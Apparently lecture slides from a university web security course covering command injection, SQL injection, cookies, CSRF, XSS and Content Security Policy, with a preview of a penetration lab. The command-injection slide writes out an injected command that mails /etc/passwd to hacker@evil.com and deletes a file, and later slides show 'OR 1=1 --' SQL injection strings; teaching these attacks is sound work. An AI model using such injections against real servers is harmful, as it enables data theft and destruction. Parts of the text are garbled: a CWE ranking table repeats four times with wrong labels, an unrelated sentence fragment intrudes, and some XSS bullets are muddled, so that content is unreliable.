WEB SECURITY II

NOTICES

- Lab #1 due 23:59 tonight
  - You aren’t crazy: crackStealthy is hard! Might not be possible to pass with 100% certainty.
  - If you tried really hard, tell us the best time your stealthy code can reliably pass. We will give test with that time and give some extra credit to the best performers. Up to you whether you want to roll the dice...
- Homework #2 available tomorrow
  - Due Jan 31st (1 week)
- Lab #2 document available tomorrow, servers will be up during the weekend
  - Due Feb 14th (3 weeks, but you will need to start earlier!)
  - 15% of final grade
- Access to grunhilda will be down for grading at some point over the weekend. Check Piazza for announcements.

WEB SECURITY I

TODAY

- Server-side threats
  - Command injection
  - SQL injection
  - Cookies
  - Cross site request forgery (CSRF)
  - Cross site scripting (XSS)
  - Lab #2 Preview

WEB SECURITY I

SERVER SIDE THREATS

WEB SECURITY I

COMMAND INJECTION

- Say a user fills in web form to query a local phone book
- Javascript generates a regular expression from the form data
- Server is accessed with a URL like:
  - http://phonebook.com/search?regex=<pattern>
- Example: http://phonebook.com/search?regex=Alice%20*Smith*
- Searches for all "Alice" with family names including "Smith" ... Returns "Alice Smith" "Alice Smithson" "Alice Poncenby-Smith", etc.

WEB SECURITY I

COMMAND INJECTION

- Suppose the regex eventually finds it’s way to this function:
  ```c
  void find(char *regex){
    char cmd[512];
    snprintf(cmd, sizeof cmd, "grep %s phonebook.txt", regex);
    system(cmd);
  }
  ```

- And the query was:
  http://phonebook.com/search?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20/etc/passwd;%20rm
d  phonebook.txt

- It’s as if the user running the web server typed this:
  ```bash
  $ grep foo x; mail -s hacker@evil.com /etc/passwd; rm phonebook.txt
  ```
WEB SECURITY I

COMMAND INJECTION DEFENSES

› Poor: Input sanitization
  › Look for "bad things" in the input and neutralize them
  › Tricky to get right and brittle!
  › Goes against "failsafe defaults" principle:
  › Input is considered okay unless a bad thing is found

› Better: Constrain the API
  › Keep it simple + defensive programming

http://phonebook.com/search?first=Alice&last=Smith

void find(char *first, char *last);

COMMAND INJECTION DEFENSES

PICKING ON PHP

preg_replace

- preg_replace
  - Perform a regular expression
  - Replace matches

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>93.8</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</td>
</tr>
<tr>
<td>12</td>
<td>93.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)</td>
</tr>
<tr>
<td>13</td>
<td>90.3</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>14</td>
<td>87.7</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>15</td>
<td>79.7</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>16</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>17</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>18</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>19</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>20</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>21</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>22</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org

WEB SECURITY I

COMMAND INJECTION DEFENSES

PICKING ON PHP

preg_replace

- preg_replace
  - Perform a regular expression
  - Replace matches

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>93.8</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</td>
</tr>
<tr>
<td>12</td>
<td>93.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)</td>
</tr>
<tr>
<td>13</td>
<td>90.3</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>14</td>
<td>87.7</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>15</td>
<td>79.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>16</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>17</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>18</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>19</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>20</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>21</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>22</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org

WEB SECURITY I

COMMAND INJECTION DEFENSES

PICKING ON PHP

preg_replace

- preg_replace
  - Perform a regular expression
  - Replace matches

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>93.8</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</td>
</tr>
<tr>
<td>12</td>
<td>93.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)</td>
</tr>
<tr>
<td>13</td>
<td>90.3</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>14</td>
<td>87.7</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>15</td>
<td>79.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>16</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>17</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>18</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>19</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>20</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>21</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>22</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org

WEB SECURITY I

COMMAND INJECTION DEFENSES

PICKING ON PHP

preg_replace

- preg_replace
  - Perform a regular expression
  - Replace matches

<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>11</td>
<td>93.8</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</td>
</tr>
<tr>
<td>12</td>
<td>93.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)</td>
</tr>
<tr>
<td>13</td>
<td>90.3</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>14</td>
<td>87.7</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>15</td>
<td>79.0</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>16</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>17</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>18</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>19</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>20</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>21</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
<tr>
<td>22</td>
<td>76.9</td>
<td>SQLi</td>
<td>Improper Neutralization of Input WithoutVALIDATION (Cross-site Scripting)</td>
</tr>
</tbody>
</table>

https://cwe.mitre.org
From the looks of it, however, one our suspects an SQL injection, in which the Web site Markovich also questions not noticed the hack for six months, a

How Modern Web Applications Work

Suppose the web server runs the following PHP:

```php
$user = $_POST['user'];
$sql = "SELECT AcctNum FROM Customer 
WHERE Balance > 100000 AND 
Username='$user';";
$result = $db->executeQuery($sql);
```

- Query returns the user's account number if they are a "valued" customer
- Web server will send value of $sql variable to database server to get account numbers from a database

SQL Injection Target

Account.php?user=alice%20OR%201=1
WHERE Balance > 100000 AND 
Username='alice' OR 1=1'

Operator precedence in SQL turns this into:

WHERE Balance > 100000 AND (Username='alice' OR 1=1')

Since 1=1 is always true, this is effectively:

SELECT AcctNum FROM Customer WHERE Balance > 100000
WHERE Username='alice' OR 1=1 --'

SQL Injection Attacks

SELECT AcctNum FROM Customer
WHERE Balance > 100000 AND 
Username='alice' OR 1=1 --'

Syntax error!

SQL comment
SQL STATEMENT PARSE TREE

WEB SECURITY I

SQL INJECTION DEFENSES

- Poor: Input sanitization
  - Check or transform so that value/string does not have commands of any sort
  - Disallow special characters or escape input string
  - Risky: goes against security principle...
- Better: Constrain how user input is interpreted
  - Most statements have the same form, but need specific values filled in
  - The user's input should be interpreted as a value, not as SQL code

SQL STATEMENT PARSE TREE

WEB SECURITY I

EXPLOITS OF A MOM (XKCD)

Q: Is this class just hacker movie references and XKCD comics?
A: Basically, yes.

WEB SECURITY I

SQL ESCAPING

- Generally, parser interprets " as start of a string.
  - Within a string, \ is converted to \ and \ is converted to \\
- So for:
  **SELECT** PersonID **FROM** People
  **WHERE** Username = 'alice'; **SELECT** * FROM People;'*
  - Username will be matched against the (unlikely) name
    'alice'; **SELECT** * FROM People/'
- Unfortunately, SQL parsers from different vendors have different escape sequences and different APIs for escaping
  - Hard to get right, and might need vendor-specific defenses

WEB SECURITY I

BETTER ABSTRACTIONS FOR SQL QUERIES

- Language / API support for building query structure independent of user input

```
ResultSet getProfile(Connection conn, String uname){
    String query = 
        "SELECT AcctNum FROM Customer 
        WHERE Balance < 100 AND Username = ?;",
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, username);
    return p.executeQuery();
}
```

WEB SECURITY I

SQL STATEMENT PARSE TREE
WEB SECURITY I

SQL STATEMENT PARSE TREE

`SELECT / FROM / WHERE`  
- `AccountNum`  
- `Customer`  
- `AND`  
- `<`  
- `Balance`  
- `100`  
- `Username`  
- `=`  
- `allocation OR 1=1 --`

Instead, the attempted injection gets parsed as a (weird) string. No explicit escaping necessary; every character is part of string.

WEB SECURITY I

SQL INJECTION TAKEAWAY

- **Target**: web servers that use a backend database
- **Attacker goals**: inject/modify database commands to:
  - Read or modify private data
  - Delete confidential data
  - Alter web-site information (or even code!)
- **Attack vector**: sending requests to web server
- **Key vulnerability**: Web server allows attacker input to be interpreted as SQL commands rather than data

WEB SECURITY I

"C" IS FOR COOKIES

Cookie Monster™ © 1972 Sesame Workshop

WEB SECURITY I

COOKIES

- A way of maintaining HTTP state on the client

Browser → GET ...  
HTTP response contains �okies  
Browser maintains cookie jar

WEB SECURITY I

SETTING AND DELETING COOKIES

- The first time a browser connects to a particular web server, it has no cookies for that web server
- When the web server responds, it includes a `Set-Cookie:` header defining a cookie

WEB SECURITY I

SETTING AND DELETING COOKIES

Browser → GET ...  
HTTP Header:  
- `Set-Cookie: NAME=VALUE; domain=domain; path=path`
### WEB SECURITY I

## SETTING AND DELETING COOKIES

- **Secure**: Sent over HTTPS only

### WEB SECURITY I

## SETTING AND DELETING COOKIES

- **Expires**: expiration date
- **HttpOnly**: not accessible from Javascript

### WEB SECURITY I

## COOKIES AND WEB AUTHENTICATION

- One widespread use of cookies is for web sites to track users who have previously authenticated
  - e.g., once browser fetched `http://mybank.com/login.html?user=alice&pass=bigsecret` with a correct password, server associates value of a session cookie with Alice’s info
  - Cookies is now “proof” to server that it is talking to same browser that authenticated as Alice
  - But... an attacker who can manages to get a copy of Alice’s cookie can access the server and impersonate Alice!

### WEB SECURITY I

## STATIC WEB CONTENT

```html
<HTML>
<HEAD>
<TITLE>Test Page</TITLE>
</HEAD>
<BODY>
<H1>Test Page</H1>
<P>This is a test!</P>
</BODY>
</HTML>
```
CSRF DEFENSE: Referrer Validation

- Server requests a secret token for every action
- User’s browser obtains this token if they visited the site and browsed to that action
- If attacker causes browser to directly send action, browser won’t have the token!
  1. The good site, i.e., core user includes a secret token in the webpage (e.g., in forms as an additional hidden field)
  2. Legit requests to good site, core send back the secret
  3. The good site, i.e., core server checks that token in request matches the expected one; rejects request if not
- Validation token must be hard to guess by an attacker!
- Best defense? Referrer and Secret token, (Defend in Depth)

“XSS” IS FOR CROSS SITE SCRIPTING

- XSS stands for Cross Site Scripting
- XSS is a security vulnerability that occurs when an attacker injects malicious code into a web page
- The malicious code is then executed by the user's browser when they view the page
- XSS attacks can include:
  - Cross-site scripting injection
  - Cross-site request forgery
  - Cross-site scripting for web applications
- XSS attacks are a serious threat to web security and can be prevented by following best practices such as input validation, output encoding, and using Content Security Policy (CSP)

Static Web Content

```html
<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Test Page</h1>
<p>This is a test!</p>
<img src="http://anywhere.com/logo.jpg">
</body>
</html>
```

Dynamic Web Content

```html
<html>
<head>
<title>Definitely a Test Page</title>
</head>
<body>
<h1>Super Safe Test Page</h1>
<p>This is so not a heist!</p>
<img src="http://xyz.com/do=thing.php...">
</body>
</html>
```
**SAME ORIGIN POLICY, REMINDER**

- Origin = protocol + hostname + port
  - `http://safebank.com:81/accounts`
  - Protocol: HTTP
  - Hostname: safebank.com
  - Port: 81
- One origin should not be able to access the resources of another
- Javascript on one page cannot read or modify pages from different origins
- The contents of an `iframe` have the origin of the URL from which the `iframe` is served; not the loading website

**WEB SECURITY I**

**XSS: SUBVERTING SOP**

- What if somebody from attacker.com fools your browser into executing their script with the script’s origin as some other site, like mybank.com?
- A common approach is to trick the server of interest (mybank.com) to actually send the attacker’s script to your browser!
- The browser can’t distinguish malicious scripts from the real scripts – they have the same origin!
- The attacker script has full access to anything in the mybank.com origin.
- Such attacks are termed Cross-Site Scripting (XSS)

**STORED XSS ATTACK**

- **Target:** User with Javascript-enabled browser who visits page with user-generated content on a vulnerable web service.
- **Attacker goal:** Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)
- **Attack vector:** Content stored on web server page by users
- **Key vulnerability:** Server fails to ensure that uploaded content does not contain embedded scripts
- **Notes:**
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.
Reflected XSS Attack

1. Alice visits dodgy website
2. Alice clicks a link
3. Malicious script is echoed back (with legitimate and without Alice realizing)
4. Forged request sent (with legitimate and without Alice realizing)
5. Alice's Browser executes malicious script thinking the mybank.com server wants it to do so
6. Bank sends all Alice's savings to the attacker's numbered Swiss Bank account
7. And/or script steals private data
8. Forged request sent (with legitimate and without Alice realizing)
9. Bank sends all Alice's savings to the attacker's numbered Swiss Bank account

Reflective XSS Attack: Summary

Target: User with Javascript-enabled browser who visits vulnerable web service that includes parts of URLs it receives in the output web page.

Attacker goal: Run script in user's browser with same access as legit scripts (in other words, subvert the Same Origin Policy)

Attack vector: Getting a user to click on a specially crafted URL

Key vulnerability: Server fails to ensure output it generates does not contain embedded scripts other than its own

Notes:
- Do not confuse with Cross Site Request Forgery (CSRF)
- Requires Javascript typically. Browsers with JS disabled are not vulnerable.

Reflective XSS Demo

http://localhost/~owen/
http://localhost/~owen/index2.php

XSS Defenses: Best Practices for Prevention

▸ Open Web Application Security Project (OWASP)
  ➢ https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  ➢ Key recommendations:
    ➢ Never insert untrusted data except in allowed locations (default deny)
    ➢ HTML-escape before inserting untrusted data into simple HTML element contents
    ➢ HTML-escape all non-alphanumeric characters before inserting untrusted data into simple attribute contents

XSS Defenses: CSP

▸ Content Security Policy
  ➢ Goal: Prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...) for a given web page
  ➢ Approach: (Browser enforced)
   ➢ Prohibit inline scripts
   ➢ Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources

CSP Pros and Cons

▸ Pros:
  ➢ Content Security Policies can express a range of content policies about scripts and other resources
  ➢ Possible to eliminate several vectors of attacks

▸ Cons:
  ➢ Breaks a lot of code. Might require significant refactoring to apply to existing codebase
  ➢ Somewhat complex to get right
There's an old webserver running on a UCSC internal machine you have reason to believe has a backdoor and is stack smashable

Challenges:
- You don't know where it is
- You don't know the key to the backdoor
- You don't know the password
- You don't have the source code
- You don't have a binary image

However:
- As you solve each challenge, the next becomes easier
- Unfortunately:
  - Get the password wrong too many times and you'll be locked out for awhile

LAB 2 IMPORTANT WARNINGS
- Do NOT use a port scanner
  - It WILL be detected by the SOE network infrastructure and you could end up being expelled from the university.
  - It may have been cool in the 1980s, but it isn’t anymore.

- Only launch attacks against the compromised webserver from grunhilda.soe.ucsc.edu
  - Develop and test ideas anywhere you like (your own machine, for example) but when it comes time to launch the attack, only ever do it from grunhilda
  - Launching the attack from anywhere else (1) won’t work and (2) may be detected as malicious activity and could result in you being kicked out of class or worse
WEB SECURITY I

NEXT TIME

- Symmetric-Key Cryptography